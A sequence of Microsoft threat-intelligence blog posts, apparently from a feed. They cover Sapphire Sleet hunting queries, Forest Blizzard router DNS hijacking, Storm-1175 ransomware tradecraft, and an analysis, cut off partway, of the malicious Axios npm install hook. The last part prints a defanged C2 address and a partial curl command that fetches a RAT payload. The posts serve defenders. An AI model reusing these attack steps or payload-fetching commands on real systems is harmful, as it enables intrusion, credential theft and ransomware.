     "95e893e7cdde19d7d16ff5a5074d0b369abd31c1a30962656133caa8153e8d63",
     "8fd5b8db10458ace7e4ed335eb0c66527e1928ad87a3c688595804f72b205e8c",
     "a05400000843fbad6b28d2b76fc201c3d415a72d88d8dc548fafd8bae073c640"
 ]);
 search in (AlertEvidence, DeviceEvents, DeviceFileEvents, DeviceImageLoadEvents, DeviceProcessEvents, DeviceNetworkEvents, SecurityEvent, ThreatIntelligenceIndicator)
 TimeGenerated between ((selectedTimestamp - 1m) .. (selectedTimestamp + 90d))
 and (SHA256 in (FileSHA256) or InitiatingProcessSHA256 in (FileSHA256))

Detect Microsoft Defender Antivirus detections related to Sapphire Sleet

The following query searches for Defender Antivirus alerts for the specific malware families used in this campaign and joins with device information for enriched context:

let SapphireSleet_threats = dynamic([
     "Trojan:MacOS/NukeSped.D",
     "Trojan:MacOS/PassStealer.D",
     "Trojan:MacOS/SuspMalScript.C",
     "Trojan:MacOS/SuspInfostealExec.C"
 ]);
 SecurityAlert
 | where ProviderName == "MDATP"
 | extend ThreatName = tostring(parse_json(ExtendedProperties).ThreatName)
 | extend ThreatFamilyName = tostring(parse_json(ExtendedProperties).ThreatFamilyName)
 | where ThreatName in~ (SapphireSleet_threats) or ThreatFamilyName in~ (SapphireSleet_threats)
 | extend CompromisedEntity = tolower(CompromisedEntity)
 | join kind=inner (
     DeviceInfo
     | extend DeviceName = tolower(DeviceName)
 ) on $left.CompromisedEntity == $right.DeviceName
 | summarize arg_max(TimeGenerated, *) by DisplayName, ThreatName, ThreatFamilyName, PublicIP, AlertSeverity, Description, tostring(LoggedOnUsers), DeviceId, TenantId, CompromisedEntity, ProductName, Entities
 | extend HostName = tostring(split(CompromisedEntity, ".")[0]), DomainIndex = toint(indexof(CompromisedEntity, '.'))
 | extend HostNameDomain = iff(DomainIndex != -1, substring(CompromisedEntity, DomainIndex + 1), CompromisedEntity)
 | project-away DomainIndex
 | project TimeGenerated, DisplayName, ThreatName, ThreatFamilyName, PublicIP, AlertSeverity, Description, LoggedOnUsers, DeviceId, TenantId, CompromisedEntity, ProductName, Entities, HostName, HostNameDomain

Indicators of compromise

Malicious file hashes

Domains and IP addresses

Acknowledgments

Existing blogs with similar behavior tracked:

• https://cloud.google.com/blog/topics/threat-intelligence/unc1069-targets-cryptocurrency-ai-social-engineering
• https://www.huntress.com/blog/inside-bluenoroff-web3-intrusion-analysis
• https://securelist.com/bluenoroff-apt-campaigns-ghostcall-and-ghosthie/117842/
• https://x.com/malwrhunterteam/status/2008831892616081508
• https://x.com/patrickwardle/status/2009008936771543341?s=46

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post Dissecting Sapphire Sleet’s macOS intrusion from lure to compromise appeared first on Microsoft Security Blog.

Executive summary

Forest Blizzard, a threat actor linked to the Russian military, has been compromising insecure home and small-office internet equipment like routers, then modifying their settings in ways that turn them into part of the actor’s malicious infrastructure. The threat actor then hides behind this legitimate but compromised infrastructure to spy on additional targets or conduct follow-on attacks. Microsoft Threat Intelligence is sharing information on this campaign to increase awareness of the risks associated with insecure home and small-office internet routing devices and give users and organizations tools to mitigate, detect, and hunt for these threats where they might be impacted. 

Since at least August 2025, the Russian military intelligence actor Forest Blizzard, and its sub-group tracked as Storm-2754, has conducted a large-scale exploitation of vulnerable small office/home office (SOHO) devices to hijack Domain Name System (DNS) requests and facilitate the collection of network traffic. For nation-state actors like Forest Blizzard, DNS hijacking enables persistent, passive visibility and reconnaissance at scale.

By compromising edge devices that are upstream of larger targets, threat actors can take advantage of less closely monitored or managed assets to pivot into enterprise environments. Microsoft Threat Intelligence has identified over 200 organizations and 5,000 consumer devices impacted by Forest Blizzard’s malicious DNS infrastructure; telemetry did not indicate compromise of Microsoft-owned assets or services.

Forest Blizzard, which primarily collects intelligence in support of Russian government foreign policy initiatives, has also leveraged its DNS hijacking activity to support post-compromise adversary-in-the-middle (AiTM) attacks on Transport Layer Security (TLS) connections against Microsoft Outlook on the web domains. This activity enables the interception of cloud-hosted content, impacting numerous sectors including government, information technology (IT), telecommunications, and energy—all usual targets for this actor.

While the number of organizations specifically targeted for TLS AiTM is only a subset of the networks with vulnerable SOHO devices, Microsoft Threat Intelligence assesses that the threat actor’s broad access could enable larger-scale AiTM attacks, which might include active traffic interception. Targeting SOHO devices is not a new tactic, technique, or procedure (TTP) for Russian military intelligence actors, but this is the first time Microsoft has observed Forest Blizzard using DNS hijacking at scale to support AiTM of TLS connections after exploiting edge devices.

In this blog, we share our analysis of the TTPs used by Forest Blizzard in this campaign to illustrate how threat actors leverage this attack surface. We’re also outlining mitigation and protection recommendations to reduce exposure from compromised SOHO devices, as well as Microsoft Defender detection and hunting guidance to help defenders identify and investigate related malicious activity. It’s important for organizations to account for unmanaged SOHO devices—particularly those used by remote and hybrid employees—since compromised home and small‑office network infrastructure can expose cloud access and sensitive data even when enterprise environments and cloud services themselves remain secure.

DNS hijacking attack chain: From compromised devices to AiTM and other follow-on activity

The following sections provide details on Forest Blizzard’s end-to-end attack chain for this campaign, from initial access on vulnerable SOHO routers to actor-controlled DNS resolution and AiTM activity.

Edge router compromise

Forest Blizzard gained access to SOHO devices then altered their default network configurations to use actor-controlled DNS resolvers. This malicious re-configuration resulted in thousands of devices sending their DNS requests to actor-controlled servers.

Typically, endpoint devices obtain network configuration settings from edge devices through Dynamic Host Configuration Protocol (DHCP). Exploiting SOHO devices requires minimal investment while providing wide visibility on compromised devices, allowing the actor to collect DNS traffic and passively observe DNS requests, which could facilitate follow-on collection activity as described in the next section.

DNS hijacking

Forest Blizzard is almost certainly using the dnsmasq utility to perform DNS resolution and provide responses while listening on port 53 for DNS queries. The dnsmasq utility is a legitimate tool that provides lightweight network services widely used in home routers or smaller networks. Among its services are DNS forwarding and caching and a DHCP server, which collectively enable upstream DNS query forwarding and IP address assignment on a local network.

Adversary-in-the-middle attacks

Microsoft Threat Intelligence has observed AiTM attacks related to the initial access campaign. Although they target different endpoints, both are Transport Layer Security (TLS) AiTM attacks, allowing the threat actor to collect data being transmitted.

In most cases, the DNS requests appear to have been transparently proxied by the actor’s infrastructure, resulting in connections to the legitimate service endpoints without interruption. However, in a limited number of compromises, the threat actor spoofed DNS responses for specifically targeted domains to force impacted endpoints to connect to infrastructure controlled by the threat actor.

The actor-controlled malicious infrastructure would then present an invalid TLS certificate to the victim, spoofing the legitimate Microsoft service. If the compromised user ignored warnings about the invalid TLS certificate, the threat actor could then actively intercept the underlying plaintext traffic—potentially including emails and other customer content— within the TLS connection. Since Forest Blizzard does not always conduct AiTM activity after achieving initial access through DNS hijacking, the actor is likely using it selectively against targets of intelligence priority post-compromise:

• AiTM attack against Microsoft 365 domains: Microsoft observed Forest Blizzard conducting follow-on AiTM operations against a subset of domains associated with Microsoft Outlook on the web.
• AiTM attack against specific government servers: Microsoft identified separate AiTM activity targeting non-Microsoft hosted servers in at least three government organizations in Africa, during which Forest Blizzard intercepted DNS requests and conducted follow-on collection.

Possible post-compromise activities

Forest Blizzard’s DNS hijacking and AiTM activity allows the actor to conduct DNS collection on sensitive organizations worldwide and is consistent with the actor’s longstanding remit to collect espionage against priority intelligence targets. Although we have only observed Forest Blizzard utilizing their DNS hijacking campaign for information collection, an attacker could use an AiTM position for additional outcomes, such as malware deployment or denial of service.

Mitigation and protection guidance

Microsoft recommends the following mitigation steps to protect against this Forest Blizzard activity:

Protection against DNS hijacking

• Enforce domain-name-based network access controls using Zero Trust DNS (ZTDNS) on Windows endpoints to ensure that devices only resolve DNS through trusted servers.
• Block known or malicious domains to prevent DNS-based attacks, and maintain detailed DNS logs to monitor, investigate, and gain insight into anomalous DNS traffic.
• Follow best practices for enhancing network security for cloud computing environments.
• Enable network protection and web protection in Microsoft Defender for Endpoint to safeguard against malicious sites and internet-based threats.
• Avoid using home router solutions in corporate environments.

Protection against AiTM and credential theft

• Centralize your organization’s identity management into a single platform. If your organization is a hybrid environment, integrate your on-premises directories with your cloud directories. If your organization is using a third-party for identity management, ensure this data is being logged in a SIEM or connected to Microsoft Entra to fully monitor for malicious identity access from a centralized location.
  • The added benefits to centralizing all identity data is to facilitate implementation of Single Sign On (SSO) and provide users with a more seamless authentication process, as well as configure Microsoft Entra’s machine learning models to operate on all identity data, thus learning the difference between legitimate access and malicious access quicker and easier.
  • It is recommended to synchronize all user accounts except administrative and high privileged ones when doing this to maintain a boundary between the on-premises environment and the cloud environment, in case of a breach. 
• Strictly enforce multifactor authentication (MFA) and apply Conditional Access policies, particularly for privileged and high‑risk accounts, to reduce the impact of credential compromise. Use passwordless solutions like passkeys in addition to implementing MFA.
  • Use the Microsoft Authenticator app for passkeys and MFA, and complement MFA with Conditional Access policies, where sign-in requests are evaluated using additional identity-driven signals.
  • Conditional Access policies can also be scoped to strengthen privileged accounts with phishing resistant MFA.
  • Your passkey and MFA policy can be further secured by only allowing MFA and passkey registrations from trusted locations and devices.
• Implement continuous access evaluation and implement a sign-in risk policy to automate response to risky sign-ins. A sign-in risk represents the probability that a given authentication request isn’t authorized by the identity owner. A sign-in risk-based policy can be implemented by adding a sign-in risk condition to Conditional Access policies that evaluates the risk level of a specific user or group. Based on the risk level (high/medium/low), a policy can be configured to block access or force multi-factor authentication. We recommend requiring multi-factor authentication on Medium or above risky sign-ins. 
• Follow best practices for recovering from systemic identity compromises outlined by Microsoft Incident Response.

Microsoft Defender detection and hunting guidance

Microsoft Defender customers can refer to the following list of applicable detections. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Defender for Endpoint

The following alerts might indicate threat activity associated with this threat. These alerts, however, can be triggered by unrelated threat activity and are not monitored in the status cards provided with this report. Microsoft tracks the specific component of Forest Blizzard associated with this activity as Storm-2754.

• Forest Blizzard Actor activity detected
• Storm-2754 activity

Entra ID Protection

The following Microsoft Entra ID Protection risk detection informs Entra ID user risk events and can indicate associated threat activity, including unusual user activity consistent with known Forest Blizzard attack patterns identified by Microsoft Threat Intelligence research: 

• Microsoft Entra threat intelligence (sign-in) (RiskEventType: investigationsThreatIntelligence)

Hunting

Because initial compromise and DNS modification occur at the router-level, the following hunting recommendations focus on detecting post-compromise behavior.

Modifications to DNS settings

In identified activity, Forest Blizzard’s compromise of an infected SOHO device resulted in the update of the default DNS setting on connected Windows machines.

• Identifying unusual modifications to DNS settings can be an identifier for malicious DNS hijacking activity.
• Resetting the DNS settings and addressing vulnerable SOHO devices can resolve this activity, though these actions will not remediate an attacker who has managed to steal user credentials in follow-on AiTM activity.

Post-compromise activity

Forest Blizzard’s post-compromise AiTM activity could enable the actor to operate in the environment as a valid user. Establishing a baseline of normal user activity is important to be able to identify and investigate potentially anomalous actions. For Entra environments, Microsoft Entra ID Protection provides two important reports for daily activity monitoring:

• Risky sign-in reports surfaces attempted and successful user access activities where the legitimate owner might not have performed the sign-in.
• Risky user reports surfaces user accounts that might have been compromised, such as a leaked credential that was detected or the user signing in from an unexpected location in the absence of planned travel.

Defenders can surface highly suspicious or successful risky sign-ins using the following advanced hunting query in the Microsoft Defender XDR portal:

AADSignInEventsBeta 
| where RiskLevelAggregated == 100 and (ErrorCode == 0 or ErrorCode == 50140) 
| project Timestamp, Application, LogonType, AccountDisplayName, UserAgent, IPAddress 

After stealing credentials, Forest Blizzard could potentially carry out a range of activity against targets as a legitimate user. For Microsoft 365 environments, the ActionType “Search” or “MailItemsAccessed” in the CloudAppEvents table in the Defender XDR portal can provide some information on user search activities, including the Microsoft Defender for Cloud Apps connector that surfaces activity unusual for that user.

CloudAppEvents
| where AccountObjectId == " " // limit results to specific suspicious user accounts by adding the user here
| where ActionType has_any ("Search", "MailItemsAccessed")

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments:

• Actor profile: Forest Blizzard
• Activity profile: SOHO router compromise leads to DNS hijacking and adversary-in-the-middle attacks

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post SOHO router compromise leads to DNS hijacking and adversary-in-the-middle attacks appeared first on Microsoft Security Blog.

The financially motivated cybercriminal actor tracked by Microsoft Threat Intelligence as Storm-1175 operates high-velocity ransomware campaigns that weaponize N-days, targeting vulnerable, web-facing systems during the window between vulnerability disclosure and widespread patch adoption. Following successful exploitation, Storm-1175 rapidly moves from initial access to data exfiltration and deployment of Medusa ransomware, often within a few days and, in some cases, within 24 hours. The threat actor’s high operational tempo and proficiency in identifying exposed perimeter assets have proven successful, with recent intrusions heavily impacting healthcare organizations, as well as those in the education, professional services, and finance sectors in Australia, United Kingdom, and United States.

The pace of Storm-1175’s campaigns is enabled by the threat actor’s consistent use of recently disclosed vulnerabilities to obtain initial access. While the threat actor typically uses N-day vulnerabilities, we have also observed Storm-1175 leveraging zero-day exploits, in some cases a full week before public vulnerability disclosure. The threat actor has also been observed chaining together multiple exploits to enable post-compromise activity. After initial access, Storm-1175 establishes persistence by creating new user accounts, deploys various tools including remote monitoring and management software for lateral movement, conducts credential theft, and tampers with security solutions before deploying ransomware throughout the compromised environment.

In this blog post, we delve into the attack techniques attributed to Storm-1175 over several years. While Storm-1175’s methodology aligns with the tactics, techniques, and procedures (TTPs) of many tracked ransomware actors, analysis of their post-compromise tactics provides essential insights into how organizations can harden and defend against attackers like Storm-1175, informing opportunities to disrupt attackers even if they have gained initial access to a network.

Storm-1175’s rapid attack chain: From initial access to impact

Exploitation of vulnerable web-facing assets

Storm-1175 rapidly weaponizes recently disclosed vulnerabilities to obtain initial access. Since 2023, Microsoft Threat Intelligence has observed exploitation of over 16 vulnerabilities, including:

• CVE-2023-21529 (Microsoft Exchange)
• CVE-2023-27351 and CVE-2023-27350 (Papercut)
• CVE-2023-46805 and CVE-2024-21887 (Ivanti Connect Secure and Policy Secure)
• CVE-2024-1709 and CVE-2024-1708 (ConnectWise ScreenConnect)
• CVE-2024-27198 and CVE-2024-27199 (JetBrains TeamCity)
• CVE-2024-57726, CVE-2024-57727, and CVE-2024-57728 (SimpleHelp)
• CVE‑2025‑31161 (CrushFTP)
• CVE-2025-10035 (GoAnywhere MFT)
• CVE-2025-52691 and CVE-2026-23760 (SmarterMail)
• CVE-2026-1731 (BeyondTrust)

Storm-1175 rotates exploits quickly during the time between disclosure and patch availability or adoption, taking advantage of the period where many organizations remain unprotected. In some cases, Storm-1175 has weaponized exploits for disclosed vulnerabilities in as little as one day, as was the case for CVE-2025-31324 impacting SAP NetWeaver: the security issue was disclosed on April 24, 2025, and we observed Storm-1175 exploitation soon after on April 25.

In multiple intrusions, Storm-1175 has chained together exploits to enable post-compromise activities like remote code execution (RCE). For example, in July 2023, Storm-1175 exploited two vulnerabilities affecting on-premises Microsoft Exchange Servers, dubbed “OWASSRF” by public researchers: exploitation of CVE‑2022‑41080 provided initial access by exposing Exchange PowerShell via Outlook Web Access (OWA), and Storm-1175 subsequently exploited CVE‑2022‑41082 to achieve remote code execution.

Storm-1175 has also demonstrated a capability for targeting Linux systems as well: in late 2024, Microsoft Threat Intelligence identified the exploitation of vulnerable Oracle WebLogic instances across multiple organizations, though we were unable to identify the exact vulnerability being exploited in these attacks.

Finally, we have also observed the use of at least three zero-day vulnerabilities including, most recently, CVE-2026-23760 in SmarterMail, which was exploited by Storm-1175 the week prior to public disclosure, and CVE-2025-10035 in GoAnywhere Managed File Transfer, also exploited one week before public disclosure. While these more recent attacks demonstrate an evolved development capability or new access to resources like exploit brokers for Storm-1175, it is worth noting that GoAnywhere MFT has previously been targeted by ransomware attackers, and that the SmarterMail vulnerability was reportedly similar to a previously disclosed flaw; these factors may have helped to facilitate subsequent zero-day exploitation activity by Storm-1175, who still primarily leverages N-day vulnerabilities. Regardless, as attackers increasingly become more adept at identifying new vulnerabilities, understanding your digital footprint—such as through the use of public scanning interfaces like Microsoft Defender External Attack Surface Management—is essential to defending against perimeter network attacks.

Covert persistence and lateral movement

During exploitation, Storm-1175 typically creates a web shell or drops a remote access payload to establish their initial hold in the environment. From this point, Microsoft Threat Intelligence has observed Storm-1175 moving from initial access to ransomware deployment in as little as one day, though many of the actor’s attacks have occurred over a period of five to six days.

On the initially compromised device, the threat actor often establishes persistence by creating a new user and adding that user to the administrators group:

From this account, Storm-1175 begins their reconnaissance and lateral movement activity. Storm-1175 has a rotation of tools to accomplish these subsequent attack stages. Most commonly, we observe the use of living-off-the-land binaries (LOLBins), including PowerShell and PsExec, followed by the use of Cloudflare tunnels (renamed to mimic legitimate binaries like conhost.exe) to move laterally over Remote Desktop Protocol (RDP) and deliver payloads to new devices. If RDP is not allowed in the environment, Storm-1175 has been observed using administrator privileges to modify the Windows Firewall policy to enable Remote Desktop.

Storm-1175 has also demonstrated a heavy reliance on remote monitoring and management (RMM) tools during post-compromise activity. Since 2023, Storm-1175 has used multiple RMMs, including:

• Atera RMM
• Level RMM
• N-able
• DWAgent
• MeshAgent
• ConnectWise ScreenConnect
• AnyDesk
• SimpleHelp

While often used by enterprise IT teams, these RMM tools have multi-pronged functionality that could also allow adversaries to maintain persistence in a compromised network, create new user accounts, enable an alternative command-and-control (C2) method, deliver additional payloads, or use as an interactive remote desktop session.

In many attacks, Storm-1175 relies on PDQ Deployer, a legitimate software deployment tool that lets system administrators silently install applications, for both lateral movement and payload delivery, including ransomware deployment throughout the network.

Additionally, Storm-1175 has leveraged Impacket for lateral movement. Impacket is a collection of open-source Python classes designed for working with network protocols, and it is popular with adversaries due to ease of use and wide range of capabilities. Microsoft Defender for Endpoint has a dedicated attack surface reduction rule to defend against lateral movement techniques used by Impacket: Block process creations originating from PSExec and WMI commands); protecting lateral movement pathways can also mitigate Impacket.

Credential theft

Impacket is further used to facilitate credential dumping through LSASS; the threat actor also leveraged the commodity credential theft tool Mimikatz in identified intrusions in 2025. Additionally, Storm-1175 has relied on known living-off-the-land techniques for stealing credentials, such as by modifying the registry entry UseLogonCredential to turn on WDigest credential caching, or using Task Manager to dump LSASS credentials; for both of these attack techniques, the threat actor must obtain local administrative privileges to modify these resources. The attack surface reduction rule block credential stealing from LSASS can limit the effectiveness of this type of attack, and—more broadly—limiting the use of local administrator rights by end users. Ensuring that local administrator passwords are not shared through the environment can also reduce the risk of these LSASS dumping techniques.

We have also observed that after gaining administrator credentials, Storm-1175 has used a script to recover passwords from Veeam backup software, which is used to connect to remote hosts, therefore enabling ransomware deployment to additional connected systems.

With sufficient privileges, Storm-1175 can then use tools like PsExec to pivot to a Domain Controller, where they have accessed the NTDS.dit dump, a copy of the Active Directory database which contains user data and passwords that can be cracked offline. This privileged position has also granted Storm-1175 access to the security account manager (SAM), which provides detailed configuration and security settings, enabling an attacker to understand and manipulate the system environment on a much wider scale.

Security tampering for ransomware delivery

Storm-1175 modifies the Microsoft Defender Antivirus settings stored in the registry to tamper with the antivirus software and prevent it from blocking ransomware payloads; in order to accomplish this, an attacker must have access to highly privileged accounts that can modify the registry directly. For this reason, prioritizing alerts related to credential theft activity, which typically indicate an active attacker in the environment, is essential to responding to ransomware signals and preventing attackers from gaining privileged account access.

Storm-1175 has also used encoded PowerShell commands to add the C:\ drive to the antivirus exclusion path, preventing the security solution from scanning the drive and allowing payloads to run without any alerts. Defenders can harden against these tampering techniques by combining tamper protection with the DisableLocalAdminMerge setting, which prevents attackers from using local administrator privileges to set antivirus exclusions.

Data exfiltration and ransomware deployment

Like other ransomware as a service (RaaS) offerings, Medusa offers a leak site to facilitate double extortion operations for its affiliates: attackers not only encrypt data, but steal the data and hold it for ransom, threatening to leak the files publicly if a ransom is not paid. To that aim, Storm-1175 often uses Bandizip to collect files and Rclone for data exfiltration. Data synchronization tools like Rclone allow threat actors to easily transfer large volumes of data to a remote attacker-owned cloud resource. These tools also provide data synchronization capabilities, moving newly created or updated files to cloud resources in real-time to enable continuous exfiltration throughout all stages of the attack without needing attacker interaction.

Finally, having gained sufficient access throughout the network, Storm-1175 frequently leverages PDQ Deployer to launch a script (RunFileCopy.cmd) and deliver Medusa ransomware payloads. In some cases, Storm-1175 has alternatively used highly privileged access to create a Group Policy update to broadly deploy ransomware.

Mitigation and protection guidance

To defend against Storm-1175 TTPs and similar activity, Microsoft recommends the following mitigation measures:

• Use a perimeter scanning tool like Microsoft Defender External Attack Surface Management to understand your organization’s digital footprint and potential attack surface. Targeting web-facing vulnerabilities continues to be one of the most effective attack methods for initial access.
• Ensure any web-facing systems are isolated from the public internet with a secure network boundary and access them with a virtual private network (VPN). If certain servers must be accessible on the public internet, position them behind a web application firewall (WAF), reverse proxy, or perimeter network (also known as a DMZ), which can reduce the risk of vulnerability exploitation in some cases.
• Follow the defending against ransomware guidance in Microsoft’s ransomware as a service blog post, which details how to build credential hygiene as well as how to limit lateral movement using the principle of least privilege.
• Implement Credential Guard, a critical security feature that protects credentials stored in process memory  – in the LSA process lsass.exe. Credential Guard is turned on by default in Windows 11. However, if Credential Guard was previously disabled on a device, updating a device to Windows 11 does not override that setting, and Credential Guard will need to be re-enabled. Additionally, Credential Guard should be enabled before a device is joined to a domain or before a domain user signs in for the first time. If Credential Guard is enabled after domain join, the user and device secrets may already be compromised. Credential Guard can be enabled using Group Policy, the registry, or Microsoft Intune.
• Turn on tenant-wide tamper protection features to prevent attackers from stopping security services or using antivirus exclusions. Without tamper protection, attackers could simply turn off Microsoft Defender Antivirus without the need to acquire higher privileges.
  • Customers running Intune or Microsoft Defender for Endpoint Security Configuration can enable DisableLocalAdminMerge to prevent modification of antivirus exclusions via GPO.  
  • In addition to tamper protection, you can also enable and configure Microsoft Defender Antivirus always-on protection in Group Policy. 
  • If there is an issue with a device during roll out of various antivirus features, the device can be placed in Troubleshooting mode to turn off Tamper Protection temporarily without impacting the wider organizational security policy. 
• For approved RMM systems used in your environment, enforce security settings where possible to implement MFA. If an unapproved RMM installation is discovered in your network, reset passwords for accounts used to install the RMM services. If a System-level account was used to install the software, further investigation may be warranted.
• Configure automatic attack disruption in Microsoft Defender XDR. Automatic attack disruption is designed to contain attacks in progress, limit the impact on an organization’s assets, and provide more time for security teams to remediate the attack fully.
• Microsoft Defender XDR customers can turn on attack surface reduction rules to prevent common attack techniques used in ransomware attacks:
  • Block credential stealing from the Windows local security authority subsystem (lsass.exe)
  • Block execution of potentially obfuscated scripts
  • Block Webshell creation for Servers
  • Block process creations originating from PSExec and WMI commands (Some organizations might experience compatibility issues with this rule on certain server systems but should deploy it to other systems to prevent lateral movement originating from PsExec and WMI.)
  • Block execution of potentially obfuscated scripts
  • Block use of copied or impersonated system tools
  • Use advanced protection against ransomware

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

• Actor profile: Storm-1175
• Tool profile: Medusa ransomware
• Threat overview profile: Human-operated ransomware  

Indicators of compromise

The following indicators are gathered from identified Storm-1175 attacks during 2026.

References

• Attackers With Decompilers Strike Again (SmarterTools SmarterMail WT-2026-0001 Auth Bypass)
• OWASSRF: CrowdStrike Identifies New Exploit Method for Exchange Bypassing ProxyNotShell Mitigations

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

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The post Storm-1175 focuses gaze on vulnerable web-facing assets in high-tempo Medusa ransomware operations appeared first on Microsoft Security Blog.

On March 31, 2026, two new npm packages for updated versions of Axios, a popular HTTP client for JavaScript that simplifies making HTTP requests to a REST endpoint with over 70 million weekly downloads, were identified as malicious. These versions (1.14.1 and 0.30.4) were injected with a malicious dependency to download payloads from known actor command and control (C2). Microsoft Threat Intelligence has attributed this infrastructure and the Axios npm compromise to Sapphire Sleet, a North Korean state actor.

Following successful connection to the malicious C2, a second-stage remote access trojan (RAT) payload was automatically deployed based on the operating system of the compromised device, including macOS, Windows, and Linux. This activity follows the pattern of recent high-profile supply chain attacks, where other adversaries poison widely adopted open-source frameworks and their distribution channels to achieve broad downstream impact.

Users who have installed Axios version 1.14.1 or 0.30.4 should rotate their secrets and credentials immediately and downgrade to a safe version (1.14.0 or 0.30.3). Users should also follow the mitigation and protection guidance provided in this blog, including disabling auto-updates for Axios npm packages, since the malicious payload includes a hook that will continue to attempt to update.

This blog shares Microsoft Threat Intelligence’s findings from our analysis, Microsoft Defender detections in place that alerted and protected our customers, additional protections we have implemented in our products to detect and block malicious components, and suggested mitigations for organizations to prevent further compromise.

Analysis of the attack

On March 31, 2026, two malicious versions of Axios npm packages were released. These packages connected to a known malicious domain (C2) owned by Sapphire Sleet to retrieve a second-stage remote access trojan (RAT). Since Axios packages are commonly auto-updated, any projects with Axios versions higher than axios@^1.14.0 or axios@^0.30.0 connected to this Sapphire Sleet C2 upon installation and downloaded second-stage malware. Windows, macOS, and Linux systems are all targeted with platform-specific payloads.

Microsoft Threat Intelligence has determined the account that created the plain-crypto-js package is associated with Sapphire Sleet infrastructure. That account has been disabled.

Silent install-time code execution using dependency insertion

The updated versions of Axios inject plain-crypto-js@4.2.1, a fake runtime dependency that executes automatically through post-install with no user interaction required. The trusted package’s application logic is not modified; instead, the threat actor added a dependency that is never imported by the package’s runtime code but only exists to trigger an install-time script to download the second-stage RAT. That means normal app behavior might remain unchanged while malicious activity occurs during npm installation or npm update on developer endpoints and continuous integration and continuous delivery (CI/CD) systems.

The dependency is seeded into a clean release (plain-crypto-js@4.2.0) to establish publishing history and reduce scrutiny. A follow‑up release adds the malicious install-time logic (plain-crypto-js@4.2.1), introducing an install hook that runs node setup.js and includes a clean manifest stub (package.md) intended for later replacement. 

Two Axios releases are then published with a surgical manifest-only change: axios@1.14.1 and axios@0.30.4 add plain-crypto-js@^4.2.1 as a dependency while leaving Axios source code unchanged. The publication metadata differs from the project’s normal CI-backed publishing pattern (for example, missing trusted publisher binding and missing corresponding repo tag/commit trail for the malicious version). 

Execution on compromised environments

The first-stage loader (setup.js) uses layered obfuscation to reconstruct sensitive strings (module names, platform identifiers, file paths, and command templates) at runtime. A developer or CI job runs npm install axios (or a dependency install/update that resolves to the affected versions). The package manager resolves and installs the injected dependency (plain-crypto-js@4.2.1). 

During installation, the dependency’s lifecycle script automatically launches node setup.js (no additional user step required), which decodes embedded strings at runtime, identifies the platform, and connects to hxxp://sfrclak[.]com:8000/6202033 to fetch the next stage. 

Single endpoint C2 with OS-specific responses

The package connects to a Sapphire Sleet-owned domain (hxxp://sfrclak[.]com), which fetches a second-stage payload from an actor-controlled server running on port 8000. The associated IP address (142.11.206[.]73) is tied to Hostwinds, a virtual private server (VPS) provider that Sapphire Sleet is known to commonly use when establishing C2.

All platforms connect to the same resource over the same path (hxxp://sfrclak[.]com:8000/6202033), and the OS selection is conveyed through POST bodies packages.npm.org/product0|product1|product2. This enables the operator to serve platform-specific payloads from one route while keeping the client-side logic minimal. On Windows, the malicious npm drops a VBScript stager. On macOS, the malicious npm package drops a native binary.

• macOS: packages.npm.org/product0 
• Windows: packages.npm.org/product1 
• Linux/other: packages.npm.org/product2

Second-stage delivery and execution mechanics by OS

macOS (Darwin)

On macOS, the RAT is identified as a native binary: com.apple.act.mond.

Setup.js writes an AppleScript into a temp location and runs it silently using nohup osascript … &.  AppleScript POSTs packages.npm.org/product0 to hxxp://sfrclak[.]com:8000/6202033, downloads a binary to /Library/Caches/com.apple.act.mond, applies chmod 770, then starts it using /bin/zsh in the background.

node setup.js
  └─ sh -c 'curl -o /Library/Caches/com.apple.act.mond

The AppleScript is removed afterward; the durable artifact is typically Library/Caches/com.apple.act.mond. 

• SHA-256: 92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a

Observed macOS command (as decoded):

